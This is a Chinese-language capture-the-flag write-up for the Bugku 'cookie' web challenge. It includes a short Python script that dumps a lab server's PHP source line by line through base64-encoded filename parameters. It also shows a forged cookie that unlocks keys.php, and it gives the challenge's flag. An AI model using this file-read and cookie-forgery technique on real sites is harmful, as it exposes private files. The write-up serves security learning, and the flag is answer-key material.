Bugku-cookie

Bugku-cookie

目录

题目描述

cookie

时间:2023年9月9日

类型:Web cookie base64

WP

提取信息

发现get传参给变量filename了一个base64加密数据,解码后为key.txt,将字符串“index.php”base64编码后传给filename变量,再改变line的值来遍历主页源码,编写简易脚本跑一下

import requests

content = ""
for i in range(20):
    res = requests.get(f"http://114.67.175.224:10668/index.php?line={
     i}&filename=aW5kZXgucGhw")
    content += res.content.decode()
print(content)

得到源码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
   
$file_list[2]='keys.php';
}
 
if(in_array($file, $file_list)){
   
$fa = file($file);
echo $fa[$line];
}
?>
代码分析
  • 页面读取是先用了base64 decode再访问的,同时还会检查该页面在不在访问列表中。所以我们要将要访问的页面进行base64编码之后再传参,同时要注意访问文件是否在访问列表中
  • 当获取到cookie margin为’margin’时,会将keys.php页面放入到访问列表中

所以我们需要构造一个 cookie,使我们有访问keys.php的权限,再将keys.php进行base64编码为a2V5cy5waHA=

得到flag

flag{19094366b35e73f3bbd691ce7eab7a1c}

在这里插入图片描述

总结

相关推荐

  1. Cookies

    2023-12-21 17:10:02       28 阅读
  2. <span style='color:red;'>bugku</span> 1

    bugku 1

    2023-12-21 17:10:02      23 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-21 17:10:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-21 17:10:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-21 17:10:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-21 17:10:02       18 阅读

热门阅读

  1. 【密码学引论】密码协议

    2023-12-21 17:10:02       30 阅读
  2. 在Idea中创建基于工件的本地服务

    2023-12-21 17:10:02       41 阅读
  3. Codeforces Round 916 (Div. 3)(A~E2)

    2023-12-21 17:10:02       36 阅读
  4. 深度学习嵌入头embedding head解释

    2023-12-21 17:10:02       37 阅读
  5. 7-1 冰雹猜想

    2023-12-21 17:10:02       43 阅读
  6. minio 整合springboot

    2023-12-21 17:10:02       30 阅读
  7. Springboot Async 引起的循环依赖

    2023-12-21 17:10:02       37 阅读
  8. 云服务器的优缺点对比

    2023-12-21 17:10:02       36 阅读
  9. 第十五章 Linux系统日志管理

    2023-12-21 17:10:02       24 阅读